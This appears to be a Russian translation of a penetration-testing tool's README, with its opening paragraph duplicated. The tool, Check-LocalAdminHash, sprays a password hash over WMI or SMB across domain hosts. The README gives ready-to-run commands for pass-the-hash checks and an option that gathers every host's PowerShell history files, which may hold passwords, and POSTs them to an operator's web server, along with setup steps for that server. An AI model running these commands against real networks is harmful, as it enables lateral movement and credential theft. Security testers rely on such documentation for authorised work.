
Check-LocalAdminHash — это PowerShell-инструмент, который пытается выполнить аутентификацию на нескольких хостах через WMI или SMB, используя хеш пароля, чтобы определить, является ли предоставленные учётные данные локальным администратором. Он полезен, если вы получили хеш пароля пользователя и хотите узнать, где он является локальным администратором в сети. По сути, это Франкенштейн из двух моих любимых инструментов с добавлением собственного кода. Для проверки учётных данных используется проект Invoke-TheHash Кевина Робертсона (@kevin_robertson). Кроме того, скрипт использует модули из PowerView от Уилла Шрёдера (@harmj0y) и Мэтта Гребера (@mattifestation) для перечисления компьютеров домена и поиска целей для проверки прав администратора.
Check-LocalAdminHash — это инструмент PowerShell, который пытается аутентифицироваться на нескольких хостах через WMI или SMB, используя хэш пароля, чтобы определить, является ли предоставленная учетная запись локальным администратором. Это полезно, если вы получили хэш пароля пользователя и хотите узнать, где он является локальным администратором в сети. По сути, это Франкенштейн из двух моих любимых инструментов и немного моего собственного кода. Для проверки учетных данных используется проект Invoke-TheHash Кевина Робертсона (@kevin_robertson). Кроме того, скрипт использует модули из PowerView от Уилла Шрёдера (@harmj0y) и Мэтта Грэбера (@mattifestation) для перебора компьютеров домена и поиска целей для проверки прав администратора.
Этот скрипт появился потому, что во время оценки я хотел собрать все файлы истории консоли PowerShell (PSReadline) со всех систем в сети. История консоли PSReadline — это, по сути, аналог bash history для PowerShell. В ней может быть множество интересных вещей, которые люди вводят в терминалы, включая пароли. Поэтому в этот скрипт включена опция экспорта всех файлов PSReadline. Для этого требуется небольшая настройка. См. конец Readme.
Для получения дополнительной информации читайте блог здесь: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
Эта команда использует домен 'testdomain.local' для поиска всех систем, а затем пытается аутентифицироваться на каждой из них, используя пользователя 'testdomain.local\PossibleAdminUser' и хэш пароля через WMI.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
Эта команда использует домен 'testdomain.local' для поиска всех систем, а затем пытается аутентифицироваться на каждой из них, используя пользователя 'testdomain.local\PossibleAdminUser' и хэш пароля через WMI. Затем она пытается найти файлы истории консоли PowerShell (PSReadline) для каждого профиля во всех системах и отправляет их POST-запросом на веб-сервер. См. настройку сервера в конце Readme.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
Эта команда использует указанный CIDR-диапазон для формирования списка целей, а затем пытается аутентифицироваться на каждой из них, используя локального пользователя 'PossibleAdminUser' и хэш пароля через WMI.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
Эта команда использует предоставленный список целей и пытается аутентифицироваться на каждом хосте, используя локального пользователя 'PossibleAdminUser' и хэш пароля через SMB.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
Эта команда пытается выполнить локальную аутентификацию для пользователя Administrator на системе 192.168.0.16 через SMB.
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - Имя пользователя для попытки аутентификации.
PasswordHash - Хэш пароля пользователя.
TargetSystem - Одно имя хоста или IP для попытки аутентификации.
TargetList - Список хостов для сканирования по одному на строку.
AllSystems - Переключатель, который при включении использует модули PowerView для перечисления всех систем домена. Этот список затем используется для проверки доступа локального администратора.
Domain - Домен, который PowerView будет использовать для обнаружения систем.
UserDomain - Домен пользователя для аутентификации на каждой системе. Не используйте этот флаг, если применяете локальные учетные данные вместо доменных.
Protocol - Настройка для проверки хэша через WMI или SMB. По умолчанию 'WMI', но установите 'SMB', чтобы проверять через него.
CIDR - Укажите сетевой диапазон в формате CIDR, например 192.168.0.0/24.
Threads - По умолчанию 5 потоков. (Я сталкивался с некоторыми странными проблемами при установке более 15 потоков, когда некоторые результаты не возвращались.)
ExfilPSReadline - Для каждой системы, где аутентификация прошла успешно, запускается команда PowerShell для поиска файлов истории консоли PSReadLine (история команд PowerShell), а затем POST-запросом отправляет их на веб-сервер. Смотрите Readme для настройки сервера.
Это ваше предупреждение: вы собираетесь настроить сервер, доступный из интернета, который будет принимать загрузку файлов. Обычно это очень плохая идея. Так что обязательно примите меры предосторожности. Я рекомендую заблокировать правила брандмауэра, чтобы только IP-адрес, который будет загружать файлы PSReadline, мог обращаться к веб-серверу. Кроме того, если уж мы заговорили о безопасности, это отлично работает с HTTPS, поэтому настройте домен и сертификат, чтобы файлы PSReadline передавались зашифрованными по сети. Вы предупреждены...
Настройте сервер там, куда вы хотите отправлять файлы. Этот сервер должен быть доступен по HTTP/HTTPS с каждой системы.
Скопируйте скрипт index.php из этого репозитория и поместите его в /index.php в корневой каталог веб-сервера (/var/www/html).
Создайте каталог uploads
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
Теперь при запуске Check-LocalAdminHash с флагом -ExfilPSReadline он должен попытаться отправить POST-запросом каждый файл PSReadline (если таковые имеются) на ваш веб-сервер.
Check-LocalAdminHash — это, по сути, Франкенштейн из двух моих любимых инструментов, PowerView и Invoke-TheHash. 95% кода взято из этих двух инструментов. Так что благодарность Кевину Робертсону (@kevin_robertson) за Invoke-TheHash, а также Уиллу Шрёдеру (@harmj0y), Мэтту Грэберу (@mattifestation) (и всем, кто работал над PowerView). Без этих двух инструментов этот скрипт не существовал бы. Также отдельное спасибо Стиву Борошу (@424f424f) за помощь с многопоточностью и за то, что он просто замечательный парень.
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1